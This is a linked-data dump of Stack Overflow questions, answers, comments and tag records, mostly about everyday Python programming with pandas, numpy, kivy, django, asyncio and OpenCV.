has body: I'm trying to implement asynchronous multiprocessing programming with callbacks in python. I read materials about multiprocessing module, process/thread pool and asyncio module but could not get to point. I have a corutine and a callback function like async def func(x): value = await (other coroutine) return x def callback(x): print(x) and I want to submit func(1), func(2), func(3), ... , func(100) to a pool of worker processes of given number, say, 5 processes. Then I want to makes those workers to invoke the callback whenever any of the return values arrives the parent process, not after every return value arrives the parent process. map/map_async/starmap/starmap_async methods in multiprocessing.Pool waits all of the returns from the worker processes arrives the parent process. I studied basic elements of asynchronous programming in asyncio module in python, but it still remains elusive for me to accomplish the above task - asynchronous multiprocessing programming with callbacks Could anybody give me a lucid example code for this task? Thanks in advance.
linked to: http://stackoverflow.com/q/53304695
score: 2
answer count: 1
downvote count: 0
tagged with: asynchronous
favorite count: 0
upvote count: 2
type: UnansweredQuestion
has title: python asynchronous multiprocessing programming with callbacks

http://stackoverflow.com/a/62792119
upvote count: 19
has comment: http://stackoverflow.com/comment/133289024
score: 18
has body: Most probably you're using Python3. In Python2 this wouldn't happen. xlsx files are binary (actually they're an xml, but it's compressed), so you need to open them in binary mode. Use this call to open: open('1.xlsx', 'rb') There's no full traceback, but I imagine the UnicodeDecodeError comes from the file object, not from read_excel(). That happens because the stream of bytes can contain anything, but we don't want decoding to happen too soon; read_excel() must receive raw bytes and be able to process them.
type: Answer
answers question: http://stackoverflow.com/q/48647122
downvote count: 1

spyder
tag name: spyder
tags question: http://stackoverflow.com/q/48755545
tags question: http://stackoverflow.com/q/48705871
tags question: http://stackoverflow.com/q/48677852
tags question: http://stackoverflow.com/q/48757456
tags question: http://stackoverflow.com/q/48713522
tags question: http://stackoverflow.com/q/48768939
tags question: http://stackoverflow.com/q/48733164
tags question: http://stackoverflow.com/q/48704303
type: Tag
tags question: http://stackoverflow.com/q/48651556
tags question: http://stackoverflow.com/q/48772221
tags question: http://stackoverflow.com/q/48693058
tags question: http://stackoverflow.com/q/48647975
tags question: http://stackoverflow.com/q/48778101
tags question: http://stackoverflow.com/q/48784394
tags question: http://stackoverflow.com/q/48739521
tags question: http://stackoverflow.com/q/48649779

http://stackoverflow.com/a/48661950
has comment: http://stackoverflow.com/comment/84331746
downvote count: 1
score: 30
type: Answer
has comment: http://stackoverflow.com/comment/84331350
answers question: http://stackoverflow.com/q/48661907
has body: You can define b as a slice object to achieve this: In[9]: A = [5,6,7,8,9,10] b = slice(2,4) A[b] Out[9]: [7, 8] Regarding your other requirement I think if you create a list object containing 2 slice objects then it should achieve what you want: In[18]: import numpy as np a = np.arange(100).reshape(10,10) b = [slice(1,3), slice(3,4)] a[b] Out[18]: array([[13], [23]])
upvote count: 31

http://stackoverflow.com/a/48653395
has comment: http://stackoverflow.com/comment/84305366
type: Answer
has comment: http://stackoverflow.com/comment/84305749
has comment: http://stackoverflow.com/comment/84307582
answers question: http://stackoverflow.com/q/48653091
has body: The extra reference is the function's own reference to its global variable dict. This reference is not your concern, and you do not need to decref that reference. You only need to perform decrefs to account for clearing references you own.
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/84305530
upvote count: 2
has comment: http://stackoverflow.com/comment/84305773

http://stackoverflow.com/comment/84536605
has text: cool! what have you attempted before asking?
comment on: http://stackoverflow.com/q/48768100
type: Comment
type: QuestionComment
score: 3

http://stackoverflow.com/q/48775215
accepted answer: http://stackoverflow.com/a/48777758
type: Question
downvote count: 0
tagged with: google-cloud-dataflow
answer count: 1
has comment: http://stackoverflow.com/comment/84588457
has answer: http://stackoverflow.com/a/48777758
favorite count: 0
has body: I was curious to here if anyone else has encountered a similar problem with the python apache beam dataflow runner as described below. (I'm not able to ship to the CloudRunner just yet) The query that is being executed returns just under 18 million rows. If I add a LIMIT to query (eg: 10000) then the datafow works as expected. Not included in the code snippet is the WriteToBleve sink which is a custom sink to support writing to a bleve index. The python sdk that is being used is 2.2.0 but I'm getting ready to spark up some java.... The last log message I see when running the pipeline is: WARNING:root:Dataset my-project:temp_dataset_7708fbe7e7694cd49b8b0de07af2470b does not exist so we will create it as temporary with location=None The dataset is created correctly and populated and when I debug into the pipeline I can see the results being iterated, but this pipeline itself never seems to reach the write stage. options = { "project": "my-project", "staging_location": "gs://my-project/staging", "temp_location": "gs://my-project/temp", "runner": "DirectRunner" } pipeline_options = beam.pipeline.PipelineOptions(flags=[], **options) p = beam.Pipeline(options=pipeline_options) p | 'Read From Bigquery' &gt;&gt; beam.io.Read(beam.io.BigQuerySource( query=self.build_query(), use_standard_sql=True, validate=True, flatten_results=False, )) | 'Write to Bleve' &gt;&gt; WriteToBleve() result = p.run() result.wait_until_finish()
tagged with: apache-beam
tagged with: python
has title: Bigquery apache beam pipeline "hanging" when using the DirectRunner
type: AnsweredQuestion
score: 3
upvote count: 3

http://stackoverflow.com/a/48725965
type: Answer
has body: Just add another global variable var for storing the calculations in string format, and instead of ansLabel displaying tocalculate set it to display var import tkinter as tk root = tk.Tk() ans = 0 var ='' # &lt;-- this will store the calculations in string format tocalculate = tk.IntVar() toshow = tk.IntVar() # &lt;-- This label will display history i.e contents of var entry = tk.Entry(root, textvariable=tocalculate) entry.pack() def Sum(): global ans global var v=tocalculate.get() var = var+"+"+str(v) ans += v tocalculate.set(ans) toshow.set(var) ansLabel = tk.Label(root, textvariable=toshow) ansLabel.pack() button_calc = tk.Button(root, text="Calculate", command=Sum) button_calc.pack() root.mainloop() Also, modified the Sum function above, it will store var = previous value of var + new value entered in textbox in string format, for substraction replace + with - and like wise for others Above code gives
answers question: http://stackoverflow.com/q/48725559
score: 1
upvote count: 1
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48725559

http://stackoverflow.com/q/48722105
type: Question
has comment: http://stackoverflow.com/comment/84443344
has comment: http://stackoverflow.com/comment/84446774
has comment: http://stackoverflow.com/comment/84443584
has title: kivy how to use online images in python
upvote count: 4
has comment: http://stackoverflow.com/comment/84446598
has comment: http://stackoverflow.com/comment/84443607
has comment: http://stackoverflow.com/comment/84443143
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/48724207
score: 4
favorite count: 0
tagged with: python
tagged with: kivy
has comment: http://stackoverflow.com/comment/84443326
has body: I'm trying to make a button which uses an image from URL. icon= str('https://cdn2.iconfinder.com/data/icons/flat-ui-icons-24-px/24/eye-24-256.png') self.add_widget(ImageButton(source=(icon), size=(100,100), size_hint=(0.1, 0.1), on_press=callback, pos_hint={"x":0.90, "top":1.0})) class ImageButton(ButtonBehavior, Image): pass It shows as an white image for some reason. Could anyone help me please?
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48724207
has comment: http://stackoverflow.com/comment/84443394

lxml
tags question: http://stackoverflow.com/q/48777616
tags question: http://stackoverflow.com/q/48803562
tags question: http://stackoverflow.com/q/48667182
type: Tag
tags question: http://stackoverflow.com/q/48661593
tags question: http://stackoverflow.com/q/48665250
tags question: http://stackoverflow.com/q/48709457
tags question: http://stackoverflow.com/q/48666567
tags question: http://stackoverflow.com/q/48658659
tags question: http://stackoverflow.com/q/48686393
tags question: http://stackoverflow.com/q/48650080
tags question: http://stackoverflow.com/q/48748842
tag name: lxml
tags question: http://stackoverflow.com/q/48652085
tags question: http://stackoverflow.com/q/48755415
tags question: http://stackoverflow.com/q/48788915

http://stackoverflow.com/q/48791666
score: -1
has body: I have a dictionary called master that has values in the format of. { 'Company': { 'App': 4, 'App2': 5, 'App3': 82, etc} 'Company2': { 'App': 3, 'App2': 1, 'App3': 48, etc} 'Company3' etc I tried a few different answers: with open('test.csv', 'wb') as f: writer = csv.writer(f) for row in myDict.iteritems(): writer.writerow(row) other questions related to this but none gave the output I was looking for. Need the output in either a csv or xslx to be formatted as Companys as the column headers starting in Column B going across and the Apps Going down the rows in Column A starting in Row 2 with the count for each app filling in the rows under the columns for each associated Company. Only seem to get outputs that are not separating into columns correctly or do not get the count included correctly. master = {} business_list = ['Company1','Company2','Company3'etc] for business in business_list: selected_business_apps = {} curr_business_apps = business_map.get(business) freqs = Counter (curr_business_apps) for key, val in freqs.items(): if key in app_map.keys(): selected_business_apps[key] = val master[business] = selected_business_apps
has comment: http://stackoverflow.com/comment/84587354
has answer: http://stackoverflow.com/a/48792434
tagged with: pandas
upvote count: 0
has comment: http://stackoverflow.com/comment/84585466
answer count: 1
accepted answer: http://stackoverflow.com/a/48792434
favorite count: 0
has title: Write dictionary to csv or xlsx python
linked to: http://stackoverflow.com/q/23113231
has comment: http://stackoverflow.com/comment/84586002
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
tagged with: dictionary
type: AnsweredQuestion
downvote count: 1
type: Question

http://stackoverflow.com/comment/84455635
score: 1
comment on: http://stackoverflow.com/q/48728237
has text: I guess that vim does this. It renames `foo.txt` to `foo.txt~` as a backup and then creates a new `foo.txt` with new content. `echo` or more precisely the `>>` operator just appends to the file.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84600608
score: 2
has text: Are you sure question marks are used? https://stackoverflow.com/questions/19235686/psycopg2-insert-into-table-with-placeholders Also http://initd.org/psycopg/docs/sql.html
comment on: http://stackoverflow.com/q/48798939
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84547936
type: Comment
comment on: http://stackoverflow.com/a/48771044
has text: Simple. I printed out `self.jumping` in the `update` method. I probably should have left that line in there but if you add it in you can see it for yourself :D
type: AnswerComment
score: 0

http://stackoverflow.com/a/48724904
has comment: http://stackoverflow.com/comment/84480571
has comment: http://stackoverflow.com/comment/84452935
has comment: http://stackoverflow.com/comment/84450921
has comment: http://stackoverflow.com/comment/84471133
has comment: http://stackoverflow.com/comment/84449430
has comment: http://stackoverflow.com/comment/84450860
score: 4
has comment: http://stackoverflow.com/comment/84449783
upvote count: 4
has comment: http://stackoverflow.com/comment/84463720
downvote count: 0
has comment: http://stackoverflow.com/comment/84451273
has comment: http://stackoverflow.com/comment/84470852
has comment: http://stackoverflow.com/comment/84450935
has comment: http://stackoverflow.com/comment/84451044
has body: Where you do kernel = np.ones((1, 1), np.uint8) img = cv2.dilate(img, kernel, iterations=12) You apply 12 times a dilation with a 1x1 structuring element (SE). Unless OpenCV does something special with such a SE, this code should not change your image at all. You should create a larger SE: kernel = np.ones((7, 7), np.uint8) img = cv2.dilate(img, kernel, iterations=1) img = cv2.erode(img, kernel, iterations=1) This will first dilate and then erode the result. What this accomplishes is that small (thin) black regions disappear. These are the regions where the SE didn't fit. This is the same as img = cv2.morphologyEx(img, cv2.MORPH_CLOSE, kernel) To remove the long line, you want to apply a closing with an elongated SE: kernel = np.ones((1, 30), np.uint8) line = cv2.morphologyEx(img, cv2.MORPH_CLOSE, kernel) This leaves only the horizontal line. The difference of img and line is the text without the line. If you think of img as the sum of line and text, then img - line will be text. However, there is a small problem still: img has white background (255), and black foreground. So really, it is img = 255 - text - line, and the line image you found above is really 255 - line, because it also has white background. So directly taking the difference will not produce the desired effect. The solution is to invert your images first: img = 255 - img; line = 255 - line; text = img - line;
type: Answer
has comment: http://stackoverflow.com/comment/84456219
has comment: http://stackoverflow.com/comment/84451173
has comment: http://stackoverflow.com/comment/84472631
answers question: http://stackoverflow.com/q/48718034

http://stackoverflow.com/q/48785232
score: 3
downvote count: 0
favorite count: 0
upvote count: 3
tagged with: python
has title: Cant load model after adding custom component in pipeline(spaCy)
answer count: 0
tagged with: spacy
type: UnansweredQuestion
has body: I trained a NER from scratch with custom dataset without any other component in pipeline. I loaded the model and added another component(Phrase Matcher) to existing pipeline and trained NER again.Now I cant load the new saved model. Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; File "/home/deusxmachine/.local/lib/python2.7/site-packages/spacy/__init__.py", line 19, in load return util.load_model(name, **overrides) File "/home/deusxmachine/.local/lib/python2.7/site-packages/spacy/util.py", line 116, in load_model return load_model_from_path(Path(name), **overrides) File "/home/deusxmachine/.local/lib/python2.7/site-packages/spacy/util.py", line 156, in load_model_from_path component = nlp.create_pipe(name, config=config) File "/home/deusxmachine/.local/lib/python2.7/site-packages/spacy/language.py", line 215, in create_pipe raise KeyError("Can't find factory for '{}'.".format(name)) KeyError: u"Can't find factory for 'my_component'."`
type: Question

http://stackoverflow.com/comment/84421002
type: Comment
type: QuestionComment
has text: Welcome to Stack Overflow. Please take [the tour](http://stackoverflow.com/tour) here. Also, please read [this guide](https://stackoverflow.com/help/how-to-ask) on how to ask a good question. In future, please post the actual code in text and [not in a picture](http://idownvotedbecau.se/imageofcode). It is more helpful if your code is given this way because if we need to run it we can copy and paste.
score: 0
comment on: http://stackoverflow.com/q/48710772

neural-network
tags question: http://stackoverflow.com/q/48746829
tags question: http://stackoverflow.com/q/48668369
tags question: http://stackoverflow.com/q/48699523
tags question: http://stackoverflow.com/q/48717512
tags question: http://stackoverflow.com/q/48685997
tags question: http://stackoverflow.com/q/48748818
tags question: http://stackoverflow.com/q/48796469
tags question: http://stackoverflow.com/q/48719569
tags question: http://stackoverflow.com/q/48754588
tags question: http://stackoverflow.com/q/48668031
tags question: http://stackoverflow.com/q/48794100
tags question: http://stackoverflow.com/q/48668186
tags question: http://stackoverflow.com/q/48685843
tags question: http://stackoverflow.com/q/48738370
tags question: http://stackoverflow.com/q/48666843
tags question: http://stackoverflow.com/q/48732704
tags question: http://stackoverflow.com/q/48696926
type: Tag
tags question: http://stackoverflow.com/q/48652568
tags question: http://stackoverflow.com/q/48795910
tags question: http://stackoverflow.com/q/48687009
tags question: http://stackoverflow.com/q/48719540
tags question: http://stackoverflow.com/q/48754467
tags question: http://stackoverflow.com/q/48798979
tags question: http://stackoverflow.com/q/48782213
tags question: http://stackoverflow.com/q/48674881
tags question: http://stackoverflow.com/q/48768201
tag name: neural-network
tags question: http://stackoverflow.com/q/48698068

http://stackoverflow.com/q/48648597
answer count: 3
has answer: http://stackoverflow.com/a/48648646
has title: How to use batch file to run multiple python scripts simultaneously
has comment: http://stackoverflow.com/comment/84294783
tagged with: batch-file
type: AnsweredQuestion
score: 3
accepted answer: http://stackoverflow.com/a/48648646
downvote count: 0
has answer: http://stackoverflow.com/a/48648643
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/48648643
tagged with: python
has answer: http://stackoverflow.com/a/69326732
has body: I have many python scripts and it is a pain to run each one of them individually by clicking them. How to make a batch file to run them all at once?
upvote count: 3

http://stackoverflow.com/comment/84548301
type: AnswerComment
comment on: http://stackoverflow.com/a/48771775
type: Comment
score: 1
has text: @sfortney Did you try the one I suggested in my answer?

http://stackoverflow.com/q/48803992
accepted answer: http://stackoverflow.com/a/48804145
answer count: 1
has body: Well, I'm stuck in that problem for quite long now. Went to read some question / answers and blog, and at this point I don't understand why this is not working. I'm gonna make my example as simple as possible. Let's say I have a ModelMultipleChoiceField : myfield = ModelMultipleChoiceField( queryset=SomeObject.objects.none(), label='', widget=forms.CheckboxSelectMultiple( attrs={ 'class': 'mtlz-checkbox-group', 'label': 'some label: ' } ), required=False ) I set my queryset to none cause I need to compute the result dynamically. Note that this is in a ModelForm and that this field is a field of my object that I needed to custom (with some custom widget). Well now i'm changing the queryset in the __init__() method : def __init__(self, *args, **kwargs): super(EquipeForm, self).__init__(*args, **kwargs) self.base_fields['myfield'].queryset = self.method() Here self.method() is a method that's computing my queryset, and it's working fine. So, whatever, the choices were not getting updated except when I refresh (just pressing f5, not cache and stuff). Continuing my reading, I read that self.base_fields['myfield'].widget.choices were cached and so I had to force the "refresh" too in my init : def __init__(self, *args, **kwargs): super(EquipeForm, self).__init__(*args, **kwargs) self.base_fields['myfield'].queryset = self.method() self.base_fields['myfield'].widget.choices = self.base_fields['myfield'].choices Using a pdb, I saw the choices were updated, and looks like the widget choices too. But still, when I first come on my form, the last choices are displayed and seemed to be cache. If I just press f5, again, it's now the right choices displayed. In a last try I declared the all field in the __init__() method but it's just the same. So what am I missing? Is there any other cache involved as my choices seem to change in my __init__() but are always one turn late ? Does that come from my custom widget (which herit from a normal widget) ? For information, it's on django 1…
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84611977
tagged with: django
type: Question
has comment: http://stackoverflow.com/comment/84610764
has comment: http://stackoverflow.com/comment/84612147
has title: Django ModelChoiceField choices not updating
has comment: http://stackoverflow.com/comment/84611906
score: 0
has answer: http://stackoverflow.com/a/48804145

http://stackoverflow.com/q/48780791
answer count: 1
tagged with: workflow
favorite count: 0
has answer: http://stackoverflow.com/a/48791032
tagged with: python
downvote count: 0
type: UnansweredQuestion
tagged with: django
has title: Django viewflows - Defining an API flow
has body: I've an API endpoint, /api/create/. This creates a new entry in the DB depending upon the payload received from the client. Payload - { 'field1': 'value1`, 'field2': 'value2`, 'field3': 'value3`, 'field4': 'value4`, 'type': 'A' } Now depending on the type, I've a specific workflow. For eg:- Type A needs to perform certain tasks before saving the data, Type B has its own set of operations. I don't have any UI, just the requests coming over the POST request. How can I use django-viewflows for such a use-case? UPDATED I was able to run the workflow programmatically using WorkFlowClass.start.run(). It starts the workflow perfectly. However, not the complete workflow. Upon completing Node1(start) of workflow, it does not goes to Node2. Meaning, only first task of the workflow is called, not the subsequent tasks. Here is my workflow. class FunctionFlow1(Flow): start = flow.StartFunction(function1) \ .Next(this.task2) task2 = flow.StartFunction(function2) \ .Next(this.end) end = flow.End() @flow_start_func def function1(activation, **kwargs): print('Func1 Called.') activation.prepare() activation.done() return activation @flow_start_func def function1(activation, **kwargs): print('Func2 Called.') activation.prepare() activation.done() return activation task2 is not called. Why?
type: Question
score: 1
tagged with: django-viewflow
upvote count: 1

caching
tags question: http://stackoverflow.com/q/48689007
type: Tag
tags question: http://stackoverflow.com/q/48686156
tag name: caching
tags question: http://stackoverflow.com/q/48803138

http://stackoverflow.com/comment/84371524
type: Comment
comment on: http://stackoverflow.com/a/48686135
score: 0
type: AnswerComment
has text: @Arme: This is great, but it writes `(u'question', u'J1 212(e) F-4')` like this tuple in each cell, can we put only value in each sale? i.e. `'J1 212(e) F-4'` rather then entire dictionary item

http://stackoverflow.com/a/48770253
has comment: http://stackoverflow.com/comment/84542348
accepted answer of: http://stackoverflow.com/q/48770064
upvote count: 9
score: 9
type: AcceptedAnswer
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/48770064
has body: Instead of calling min, after your groupby, which returns the minimum value for each group, instead use idxmin, which returns the index value where the minimum occurs in each group: df.groupby(['serial_number','date_2'])['date_1'].idxmin() # serial_number date_2 # 10 2018-04-01 14:22:00 1 # 11 2018-04-01 14:53:00 2 # 12 2018-04-01 14:58:00 4 You can then use these indices with iloc to select the complete rows in your dataframe where the minimum for each group occurs: df.iloc[df.groupby(['serial_number','date_2'])['date_1'].idxmin()] # side serial_number inspector date_1 \ # 1 bot 10 Jack 2018-04-01 13:01:00 # 2 bot 11 Jack 2018-04-01 14:01:00 # 4 top 12 Henry 2018-04-01 14:25:00 # # date_2 # 1 2018-04-01 14:22:00 # 2 2018-04-01 14:53:00 # 4 2018-04-01 14:58:00

http://stackoverflow.com/comment/84442490
comment on: http://stackoverflow.com/q/48721469
score: 0
has text: Edited the question, I hope that makes it more clear!
type: QuestionComment
type: Comment

http://stackoverflow.com/q/48729670
tagged with: kivy
answer count: 0
type: UnansweredQuestion
has body: I'm new to kivy, and I have created a small test app which is: testapp.py: from kivy.app import App #require ("3.7.0") from kivy.uix.label import label class SimpleKivy(App): def build(self): return label(text="Hello World!") if __name__=="__main__": SimpleKivy().run() This file is located in the Documents. And when i try to run it by typing: python ./testapp.py in the terminal. However i got this error: Traceback (most recent call last): File "./testapp.py", line 1, in &lt;module&gt; from kivy.app import App File "/Users/lamatatwany/Documents/kivy.py", line 1, in &lt;module&gt; ImportError: No module named app I don't know what is wrong? I'm new to kivy so if someone please can help me with it..
type: Question
has comment: http://stackoverflow.com/comment/84458471
has comment: http://stackoverflow.com/comment/84458293
has title: Running kivy on mac from terminal
has comment: http://stackoverflow.com/comment/84458320
tagged with: terminal
score: 0
tagged with: python

http://stackoverflow.com/q/48709104
linked to: http://stackoverflow.com/q/33945261
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/48709142
tagged with: arguments
tagged with: python-typing
favorite count: 0
has body: I have a Python function which accepts XML data as an str. For convenience, the function also checks for xml.etree.ElementTree.Element and will automatically convert to str if necessary. import xml.etree.ElementTree as ET def post_xml(data: str): if type(data) is ET.Element: data = ET.tostring(data).decode() # ... Is it possible to specify with type-hints that a parameter can be given as one of two types? def post_xml(data: str or ET.Element): # ...
tagged with: python
has title: How do I specify multiple types for a parameter using type-hints?
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48709142
upvote count: 92
has comment: http://stackoverflow.com/comment/132804751
type: Question
score: 92

http://stackoverflow.com/a/48754665
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48752583
answers question: http://stackoverflow.com/q/48752583
upvote count: 2
has body: I would use: maximum = max(arr.max() for arr in my_list) The most labor would be done inside each arr.max() call, which is well optimized inside numpy, and the time of the gluing Python max, which is calculated over the individual array maximas, would be negligible (provided the number of elements in the arrays is significantly larger than the total number of arrays). Any attempts to squeeze+concatenate the arrays (to end up with some single numpy max call) would just kill the performance.
type: AcceptedAnswer
type: Answer
score: 2

http://stackoverflow.com/comment/84349248
has text: Try clicking in the top right instead of the center. Use a smaller image of the "x"
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48675333

http://stackoverflow.com/comment/84608074
type: QuestionComment
has text: You don't have to track the domain, you can always extract it from the response.url. Check [this answer](https://stackoverflow.com/questions/9626535/get-domain-name-from-url)
score: 0
comment on: http://stackoverflow.com/q/48793424
type: Comment

http://stackoverflow.com/a/48646659
has comment: http://stackoverflow.com/comment/84475293
type: Answer
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/84291324
has body: First funny mistake is that you put the quiver arguments to the axis call. ;-) Next, looking at the documentation, it says If scale_units is ‘x’ then the vector will be 0.5 x-axis units. To plot vectors in the x-y plane, with u and v having the same units as x and y, use angles='xy', scale_units='xy', scale=1. So let's do as the documentation tells us, import numpy as np import matplotlib.pyplot as plt X, Y = np.mgrid[1:1.5:0.5, 1:1.5:0.5] u = np.ones_like(X) v = np.zeros_like(Y) plt.quiver(X,Y, u, v, units='xy', angles='xy', scale_units='xy', scale=1.) plt.axis([0, 3, 0, 3]) plt.show() and indeed we get a one unit long arrow:
has comment: http://stackoverflow.com/comment/84290895
has comment: http://stackoverflow.com/comment/84291472
answers question: http://stackoverflow.com/q/48646094
upvote count: 2

http://stackoverflow.com/q/48716102
accepted answer: http://stackoverflow.com/a/48716120
upvote count: 5
score: 4
answer count: 2
tagged with: arrays
possible better answer: http://stackoverflow.com/a/48716125
has body: I have an array of tuples (from prev processing of a structured array, but the filed info was lost). &gt;&gt;&gt; arr [(0.109, 0.5), (0.109, 0.55), (0.109, 0.6)] &gt;&gt;&gt; I need to extract the column vectors for first and second column. Using two indices with fixed values works OK, but wildcarding the row fails. &gt;&gt;&gt; arr[0][1] 0.5 &gt;&gt;&gt; arr[*][1] File "&lt;stdin&gt;", line 1 arr[*][1] ^ SyntaxError: invalid syntax &gt;&gt;&gt; Your feedback is appreciated.
has title: Python get column vector from array of tuples
has comment: http://stackoverflow.com/comment/84431579
has answer: http://stackoverflow.com/a/48716125
favorite count: 0
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48716120
downvote count: 1
type: Question

http://stackoverflow.com/comment/84389316
score: 0
type: QuestionComment
type: Comment
has text: @CurlyJoe That is _untrue_ the top-most code does refer to it.
comment on: http://stackoverflow.com/q/48654409

http://stackoverflow.com/q/48743556
has title: python pandas percent change with columns of dataframe
tagged with: pandas
tagged with: python
upvote count: 11
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48743805
possible better answer: http://stackoverflow.com/a/48743678
has body: I just started studying pandas and have questions. Firstly, I'd like to ask this. I have dataframe and it's like below. Date Open High Low Close 2015-11-02 711.059998 721.619995 705.849976 721.109985 2015-11-03 718.859985 724.650024 714.719971 722.159973 2015-11-04 722.000000 733.099976 721.900024 728.109985 2015-11-05 729.469971 739.479980 729.469971 731.250000 2015-11-06 731.500000 735.409973 727.010010 733.760010 I know df["Close"].pct_change() make the percent change from Close to Close. But, I want to add a new column, "CloseToOpen" which is a percent change of "yesterday Close to today Open". So, it is "Open(Day 0) / Close(Day -1) -1". Of course, the first row should be "NaN" or Zero because there's no "previous day's Close". How can I make this with python pandas code?? Thanks guys! This is what I want. Date Open High Low Close CloseToOpen 2015-11-02 711.059998 721.619995 705.849976 721.109985 0.000000 2015-11-03 718.859985 724.650024 714.719971 722.159973 -0.003120 2015-11-04 722.000000 733.099976 721.900024 728.109985 -0.000222 2015-11-05 729.469971 739.479980 729.469971 731.250000 0.001868 2015-11-06 731.500000 735.409973 727.010010 733.760010 0.000342
has answer: http://stackoverflow.com/a/48743678
score: 11
accepted answer: http://stackoverflow.com/a/48743805
type: Question
tagged with: dataframe
answer count: 2
downvote count: 0
favorite count: 0

http://stackoverflow.com/q/48712735
has body: So I have a mongo collection called 'abcd', inside my collection I am creating indexes called 'token'. I understand that TTL needs to be tied to a ISO datetime object in mongo as an index, or as part of an array. I was unsuccessful at getting the token to expire when adding an index to my 'token'. So I am adding a created_timestamp ISO date object into my "data" array of my token index. My question is, how can I use my expireAfterSeconds=10 attribute to the object of created_timestamp of my data array. My goal is to get the entire token index to delete after 10 seconds. Here is a json of what my 'token' document looks like: { "_id" : ObjectId("5a7dec4189284441fe9aa1fc"), "token" : "RfAQ3W", "data" : "{\"token\": {\"user_id\": 308, \"exp\": 151821111, \"team_code\": 1022, \"created_timestamp\": \"2018-02-09T18:45:24.823785\}}" } I want to be able to expire my token after 10 seconds from the created_timestamp which is the ISO date of when the token gets generated to mongodb I am using: Pymongo 3.4 Mongoengine 0.13 Python 2.7
score: 0
has title: Setting TTL(expireAfterSeconds) on created_timestamp object inside my array
answer count: 1
tagged with: python
tagged with: http://stackoverflow.com/tag/ttl
type: UnansweredQuestion
tagged with: pymongo-3.x
has answer: http://stackoverflow.com/a/48719044
type: Question
tagged with: mongodb

http://stackoverflow.com/q/48788552
score: -5
has comment: http://stackoverflow.com/comment/84578825
downvote count: 5
has comment: http://stackoverflow.com/comment/84580478
type: Question
upvote count: 0
has body: I have a folder of 200 academic journal articles that are saved as individual html files. I want to write a Python program, where the user is asked to input the file name, and the file will open so that it can be processed with beautiful soup. Can anyone help me do this?
answer count: 1
accepted answer: http://stackoverflow.com/a/48793122
favorite count: 0
tagged with: beautifulsoup
tagged with: http://stackoverflow.com/tag/html
tagged with: python
has title: Search for a local html file by name
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48793122

http://stackoverflow.com/a/48737721
score: 0
has body: This works on 2D matrices: import numpy as np from scipy import signal A = (np.random.normal(0, 1, 64) &gt; 1).reshape(8, 8) k = np.array([[0, 0, 0], [0, 0, 1], [0, 1, 0]]) B = np.minimum(signal.convolve2d(A, k, mode='same'), 1) Gives: &gt;&gt;&gt; A array([[0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 1, 0, 0, 0, 0], [0, 1, 0, 0, 0, 1, 0, 0], [0, 0, 1, 0, 0, 1, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1, 1, 0]]) &gt;&gt;&gt; B array([[0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 1, 1, 0, 0, 1, 0], [0, 1, 0, 1, 0, 1, 1, 0], [0, 1, 1, 0, 0, 1, 0, 0], [1, 0, 0, 0, 0, 0, 1, 1]]) One can similarly extend this for N-D matrices. from scipy import ndimage A = (np.random.normal(0, 1, 64) &gt; 1).reshape(8, 8) k = np.array([ [[0, 0, 0], [0, 1, 0], [0, 0, 0]], [[0, 1, 0], [1, 0, 0], [0, 0, 0]], [[0, 0, 0], [0, 0, 0], [0, 0, 0]]]) B = np.minimum(ndimage.correlate(A, k, mode='constant'), 1) Gives: &gt;&gt;&gt; A array([[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]], [[0, 0, 0, 0], [1, 0, 0, 0], [0, 0, 0, 1], [0, 0, 0, 0]], [[0, 1, 0, 0], [0, 1, 0, 0], [0, 0, 1, 0], [0, 1, 0, 0]], [[1, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 1, 1, 0]]]) &gt;&gt;&gt; B array([[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]], [[0, 0, 0, 0], [0, 1, 0, 0], [1, 0, 0, 0], [0, 0, 0, 1]], [[0, 0, 1, 0], [1, 1, 1, 0], [0, 1, 0, 1], [0, 0, 1, 0]], [[0, 1, 0, 0], [1, 1, 0, 0], [0, 0, 1, 0], [0, 1, 1, 1]]]) Done! An easy way to verify the correctness of the above code is to run it on matrices like this: A = np.zeros((4, 4, 4), int) A[0, 1, 2] = 1 This produces the desired results: &gt;&gt;&gt; A array([[[0, 0, 0, 0], [0, 0, 1, 0], [0, 0, 0, 0], [0, 0, 0, 0]], [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]], [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]], [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]]) &gt;&gt;&gt; B array([[[0, 0, 0, 0], [0, 0, …
type: Answer
has comment: http://stackoverflow.com/comment/84499021
answers question: http://stackoverflow.com/q/48737433

http://stackoverflow.com/q/48794923
tagged with: abi
tagged with: binding
type: Question
tagged with: python
tagged with: platform
score: 0
